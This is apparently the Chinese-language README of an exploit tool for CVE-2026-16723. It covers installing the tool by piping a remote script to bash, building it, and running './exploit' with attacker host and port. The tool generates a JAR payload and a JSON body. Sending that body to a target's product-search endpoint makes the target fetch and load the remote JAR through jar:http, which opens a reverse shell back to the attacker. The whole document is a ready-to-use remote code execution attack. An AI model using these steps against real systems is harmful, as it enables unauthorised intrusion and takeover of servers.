Linux(或 Windows 上的 WSL)
兼容 C++17 的编译器(GCC 7+ 或 Clang 5+)
CMake 3.10 或更高版本
系统软件包:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
使用单条命令安装所有内容:
curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash
或手动下载并执行安装脚本:
wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
安装脚本将执行以下操作:
安装所有必需的系统软件包。
下载所需的仅头文件库:
nlohmann/jsoncpp-httplib构建项目。
将编译后的二进制文件放置到当前目录,名称为:
./exploit
如果你已克隆仓库:
git clone https://github.com/1xPwn/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
或手动构建:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
运行二进制文件:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
执行后将创建以下文件:
x
body.json
HTTP 服务器将在配置的端口(默认:8000)上启动,工具将等待传入的反向 shell 连接。
将生成的 body.json 文件发送到存在漏洞的端点:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
如果应用程序期望使用不同的 JSON 字段,请使用 --field 选项指定。
| 选项 | 描述 | 默认值 |
|---|---|---|
--lhost | 本地 IP 地址 | 必需 |
--lport | 反向 shell 监听端口 | 4444 |
--http-port | HTTP 服务器端口 | 8000 |
--first | 尝试的第一个文件描述符 | 3 |
--last | 尝试的最后一个文件描述符 | 30 |
--field | JSON 字段名称 | facets |
--outdir | 输出目录 | . |
-h, --help | 显示帮助信息 | — |
| 文件 | 描述 |
|---|---|
x | 生成的 JAR 载荷 |
body.json | 发送到目标的 JSON 载荷 |
jar:http 和 jar:file 协议强制目标应用程序下载并加载远程 JAR。